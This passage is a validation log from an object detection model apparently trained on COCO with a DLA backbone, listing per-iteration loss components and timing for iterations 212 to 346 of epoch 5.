|hm_loss 1.0149 |wh_loss 4.6488 |off_loss 0.0710 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][212/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5437 |hm_loss 1.0104 |wh_loss 4.6270 |off_loss 0.0706 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][213/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5368 |hm_loss 1.0059 |wh_loss 4.6054 |off_loss 0.0703 |Data 0.002s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][214/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5299 |hm_loss 1.0015 |wh_loss 4.5839 |off_loss 0.0700 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][215/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5231 |hm_loss 0.9971 |wh_loss 4.5627 |off_loss 0.0697 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][216/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5163 |hm_loss 0.9928 |wh_loss 4.5417 |off_loss 0.0693 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][217/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5096 |hm_loss 0.9885 |wh_loss 4.5209 |off_loss 0.0690 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][218/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5029 |hm_loss 0.9842 |wh_loss 4.5002 |off_loss 0.0687 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][219/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4964 |hm_loss 0.9800 |wh_loss 4.4798 |off_loss 0.0684 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][220/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4898 |hm_loss 0.9758 |wh_loss 4.4595 |off_loss 0.0681 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][221/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4834 |hm_loss 0.9716 |wh_loss 4.4394 |off_loss 0.0678 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][222/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4770 |hm_loss 0.9675 |wh_loss 4.4195 |off_loss 0.0675 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][223/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4706 |hm_loss 0.9635 |wh_loss 4.3998 |off_loss 0.0672 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][224/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4643 |hm_loss 0.9594 |wh_loss 4.3802 |off_loss 0.0669 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][225/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4581 |hm_loss 0.9554 |wh_loss 4.3608 |off_loss 0.0666 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][226/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4519 |hm_loss 0.9514 |wh_loss 4.3416 |off_loss 0.0663 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][227/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4457 |hm_loss 0.9475 |wh_loss 4.3226 |off_loss 0.0660 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][228/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4397 |hm_loss 0.9436 |wh_loss 4.3037 |off_loss 0.0657 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][229/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4605 |hm_loss 0.9558 |wh_loss 4.3766 |off_loss 0.0670 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][230/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4825 |hm_loss 0.9708 |wh_loss 4.4397 |off_loss 0.0677 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][231/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5045 |hm_loss 0.9856 |wh_loss 4.4959 |off_loss 0.0693 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][232/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5264 |hm_loss 1.0004 |wh_loss 4.5565 |off_loss 0.0704 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][233/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5201 |hm_loss 0.9963 |wh_loss 4.5370 |off_loss 0.0701 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][234/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5139 |hm_loss 0.9923 |wh_loss 4.5177 |off_loss 0.0698 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][235/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5077 |hm_loss 0.9883 |wh_loss 4.4986 |off_loss 0.0695 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][236/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5016 |hm_loss 0.9844 |wh_loss 4.4796 |off_loss 0.0692 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][237/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4955 |hm_loss 0.9805 |wh_loss 4.4608 |off_loss 0.0689 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][238/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4894 |hm_loss 0.9766 |wh_loss 4.4421 |off_loss 0.0686 |Data 0.002s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][239/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4835 |hm_loss 0.9727 |wh_loss 4.4236 |off_loss 0.0684 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][240/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4775 |hm_loss 0.9689 |wh_loss 4.4053 |off_loss 0.0681 |Data 0.002s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][241/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4717 |hm_loss 0.9652 |wh_loss 4.3870 |off_loss 0.0678 |Data 0.005s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][242/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4658 |hm_loss 0.9614 |wh_loss 4.3690 |off_loss 0.0675 |Data 0.003s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][243/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4600 |hm_loss 0.9577 |wh_loss 4.3511 |off_loss 0.0672 |Data 0.005s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][244/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4543 |hm_loss 0.9540 |wh_loss 4.3333 |off_loss 0.0670 |Data 0.002s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][245/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4486 |hm_loss 0.9503 |wh_loss 4.3157 |off_loss 0.0667 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][246/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4429 |hm_loss 0.9467 |wh_loss 4.2982 |off_loss 0.0664 |Data 0.002s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][247/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4373 |hm_loss 0.9431 |wh_loss 4.2809 |off_loss 0.0661 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][248/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4318 |hm_loss 0.9395 |wh_loss 4.2637 |off_loss 0.0659 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][249/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4263 |hm_loss 0.9360 |wh_loss 4.2467 |off_loss 0.0656 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][250/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4208 |hm_loss 0.9324 |wh_loss 4.2297 |off_loss 0.0654 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][251/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4153 |hm_loss 0.9290 |wh_loss 4.2130 |off_loss 0.0651 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][252/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4100 |hm_loss 0.9255 |wh_loss 4.1963 |off_loss 0.0648 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][253/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.4046 |hm_loss 0.9221 |wh_loss 4.1798 |off_loss 0.0646 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][254/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3993 |hm_loss 0.9186 |wh_loss 4.1634 |off_loss 0.0643 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][255/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3941 |hm_loss 0.9153 |wh_loss 4.1471 |off_loss 0.0641 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][256/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3888 |hm_loss 0.9119 |wh_loss 4.1310 |off_loss 0.0638 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][257/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3836 |hm_loss 0.9086 |wh_loss 4.1150 |off_loss 0.0636 |Data 0.004s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][258/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3785 |hm_loss 0.9053 |wh_loss 4.0991 |off_loss 0.0633 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][259/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3734 |hm_loss 0.9020 |wh_loss 4.0833 |off_loss 0.0631 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][260/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3683 |hm_loss 0.8987 |wh_loss 4.0677 |off_loss 0.0629 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][261/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3633 |hm_loss 0.8955 |wh_loss 4.0522 |off_loss 0.0626 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][262/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3583 |hm_loss 0.8923 |wh_loss 4.0368 |off_loss 0.0624 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][263/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3534 |hm_loss 0.8891 |wh_loss 4.0215 |off_loss 0.0621 |Data 0.002s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][264/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3485 |hm_loss 0.8859 |wh_loss 4.0063 |off_loss 0.0619 |Data 0.004s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][265/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3436 |hm_loss 0.8828 |wh_loss 3.9912 |off_loss 0.0617 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][266/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3388 |hm_loss 0.8797 |wh_loss 3.9763 |off_loss 0.0614 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][267/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3340 |hm_loss 0.8766 |wh_loss 3.9614 |off_loss 0.0612 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][268/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3292 |hm_loss 0.8736 |wh_loss 3.9467 |off_loss 0.0610 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][269/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3245 |hm_loss 0.8705 |wh_loss 3.9321 |off_loss 0.0608 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][270/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3198 |hm_loss 0.8675 |wh_loss 3.9176 |off_loss 0.0605 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][271/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3151 |hm_loss 0.8645 |wh_loss 3.9032 |off_loss 0.0603 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][272/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3105 |hm_loss 0.8615 |wh_loss 3.8889 |off_loss 0.0601 |Data 0.003s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][273/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3059 |hm_loss 0.8586 |wh_loss 3.8747 |off_loss 0.0599 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][274/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3014 |hm_loss 0.8557 |wh_loss 3.8606 |off_loss 0.0597 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][275/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.2969 |hm_loss 0.8528 |wh_loss 3.8466 |off_loss 0.0594 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][276/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.2924 |hm_loss 0.8499 |wh_loss 3.8327 |off_loss 0.0592 |Data 0.002s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][277/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.2879 |hm_loss 0.8470 |wh_loss 3.8189 |off_loss 0.0590 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][278/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.2835 |hm_loss 0.8442 |wh_loss 3.8053 |off_loss 0.0588 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][279/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3008 |hm_loss 0.8551 |wh_loss 3.8630 |off_loss 0.0594 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][280/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3180 |hm_loss 0.8678 |wh_loss 3.9029 |off_loss 0.0599 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][281/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3347 |hm_loss 0.8806 |wh_loss 3.9440 |off_loss 0.0597 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][282/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3574 |hm_loss 0.8932 |wh_loss 4.0262 |off_loss 0.0615 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][283/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3528 |hm_loss 0.8903 |wh_loss 4.0121 |off_loss 0.0613 |Data 0.002s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][284/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3482 |hm_loss 0.8873 |wh_loss 3.9980 |off_loss 0.0611 |Data 0.004s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][285/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3437 |hm_loss 0.8844 |wh_loss 3.9840 |off_loss 0.0609 |Data 0.002s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][286/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3392 |hm_loss 0.8815 |wh_loss 3.9701 |off_loss 0.0607 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][287/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3347 |hm_loss 0.8786 |wh_loss 3.9563 |off_loss 0.0605 |Data 0.006s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][288/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3303 |hm_loss 0.8758 |wh_loss 3.9426 |off_loss 0.0602 |Data 0.003s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][289/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3259 |hm_loss 0.8729 |wh_loss 3.9290 |off_loss 0.0600 |Data 0.004s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][290/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3215 |hm_loss 0.8701 |wh_loss 3.9155 |off_loss 0.0598 |Data 0.004s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][291/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3172 |hm_loss 0.8673 |wh_loss 3.9021 |off_loss 0.0596 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][292/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3129 |hm_loss 0.8646 |wh_loss 3.8888 |off_loss 0.0594 |Data 0.003s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][293/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3086 |hm_loss 0.8618 |wh_loss 3.8756 |off_loss 0.0592 |Data 0.005s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][294/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3043 |hm_loss 0.8591 |wh_loss 3.8625 |off_loss 0.0590 |Data 0.002s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][295/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.3001 |hm_loss 0.8563 |wh_loss 3.8494 |off_loss 0.0588 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][296/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.2959 |hm_loss 0.8536 |wh_loss 3.8364 |off_loss 0.0586 |Data 0.004s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][297/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.2917 |hm_loss 0.8509 |wh_loss 3.8236 |off_loss 0.0584 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][298/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.2876 |hm_loss 0.8483 |wh_loss 3.8108 |off_loss 0.0582 |Data 0.004s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][299/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.2835 |hm_loss 0.8456 |wh_loss 3.7981 |off_loss 0.0580 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][300/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.2794 |hm_loss 0.8430 |wh_loss 3.7855 |off_loss 0.0578 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][301/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.2753 |hm_loss 0.8404 |wh_loss 3.7729 |off_loss 0.0576 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][302/2110]|Tot: 0:00:06 |ETA: 0:00:00 |loss 1.2713 |hm_loss 0.8378 |wh_loss 3.7605 |off_loss 0.0575 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][303/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2673 |hm_loss 0.8352 |wh_loss 3.7481 |off_loss 0.0573 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][304/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2633 |hm_loss 0.8326 |wh_loss 3.7358 |off_loss 0.0571 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][305/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2593 |hm_loss 0.8301 |wh_loss 3.7236 |off_loss 0.0569 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][306/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2554 |hm_loss 0.8275 |wh_loss 3.7115 |off_loss 0.0567 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][307/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2515 |hm_loss 0.8250 |wh_loss 3.6994 |off_loss 0.0565 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][308/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2476 |hm_loss 0.8225 |wh_loss 3.6875 |off_loss 0.0563 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][309/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2438 |hm_loss 0.8200 |wh_loss 3.6756 |off_loss 0.0562 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][310/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2399 |hm_loss 0.8176 |wh_loss 3.6637 |off_loss 0.0560 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][311/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2361 |hm_loss 0.8151 |wh_loss 3.6520 |off_loss 0.0558 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][312/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2324 |hm_loss 0.8127 |wh_loss 3.6403 |off_loss 0.0556 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][313/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2286 |hm_loss 0.8103 |wh_loss 3.6287 |off_loss 0.0554 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][314/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2249 |hm_loss 0.8079 |wh_loss 3.6172 |off_loss 0.0553 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][315/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2212 |hm_loss 0.8055 |wh_loss 3.6058 |off_loss 0.0551 |Data 0.004s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][316/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2175 |hm_loss 0.8031 |wh_loss 3.5944 |off_loss 0.0549 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][317/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2138 |hm_loss 0.8008 |wh_loss 3.5831 |off_loss 0.0547 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][318/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2102 |hm_loss 0.7984 |wh_loss 3.5719 |off_loss 0.0546 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][319/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2066 |hm_loss 0.7961 |wh_loss 3.5607 |off_loss 0.0544 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][320/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2030 |hm_loss 0.7938 |wh_loss 3.5496 |off_loss 0.0542 |Data 0.004s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][321/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1994 |hm_loss 0.7915 |wh_loss 3.5386 |off_loss 0.0541 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][322/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1958 |hm_loss 0.7892 |wh_loss 3.5276 |off_loss 0.0539 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][323/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1923 |hm_loss 0.7869 |wh_loss 3.5167 |off_loss 0.0537 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][324/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1888 |hm_loss 0.7847 |wh_loss 3.5059 |off_loss 0.0536 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][325/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1853 |hm_loss 0.7824 |wh_loss 3.4952 |off_loss 0.0534 |Data 0.003s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][326/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1993 |hm_loss 0.7912 |wh_loss 3.5428 |off_loss 0.0539 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][327/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2144 |hm_loss 0.8006 |wh_loss 3.5947 |off_loss 0.0544 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][328/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2346 |hm_loss 0.8109 |wh_loss 3.6934 |off_loss 0.0544 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][329/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2310 |hm_loss 0.8086 |wh_loss 3.6822 |off_loss 0.0542 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][330/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2275 |hm_loss 0.8064 |wh_loss 3.6711 |off_loss 0.0540 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][331/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2240 |hm_loss 0.8041 |wh_loss 3.6600 |off_loss 0.0539 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][332/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2204 |hm_loss 0.8018 |wh_loss 3.6491 |off_loss 0.0537 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][333/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2170 |hm_loss 0.7996 |wh_loss 3.6381 |off_loss 0.0535 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][334/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2135 |hm_loss 0.7974 |wh_loss 3.6273 |off_loss 0.0534 |Data 0.001s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][335/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2100 |hm_loss 0.7952 |wh_loss 3.6165 |off_loss 0.0532 |Data 0.004s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][336/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2066 |hm_loss 0.7930 |wh_loss 3.6057 |off_loss 0.0531 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][337/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2032 |hm_loss 0.7908 |wh_loss 3.5951 |off_loss 0.0529 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][338/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1998 |hm_loss 0.7886 |wh_loss 3.5845 |off_loss 0.0528 |Data 0.000s(0.001s) |Net 0.023s ctdet/coco_dla| val: [5][339/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1964 |hm_loss 0.7864 |wh_loss 3.5739 |off_loss 0.0526 |Data 0.004s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][340/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1931 |hm_loss 0.7843 |wh_loss 3.5635 |off_loss 0.0524 |Data 0.002s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][341/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1898 |hm_loss 0.7822 |wh_loss 3.5530 |off_loss 0.0523 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][342/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1864 |hm_loss 0.7800 |wh_loss 3.5427 |off_loss 0.0521 |Data 0.007s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][343/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1831 |hm_loss 0.7779 |wh_loss 3.5324 |off_loss 0.0520 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][344/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1799 |hm_loss 0.7758 |wh_loss 3.5221 |off_loss 0.0518 |Data 0.000s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][345/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.1919 |hm_loss 0.7833 |wh_loss 3.5588 |off_loss 0.0527 |Data 0.001s(0.002s) |Net 0.023s ctdet/coco_dla| val: [5][346/2110]|Tot: 0:00:07 |ETA: 0:00:00 |loss 1.2075 |hm_loss 0.7934 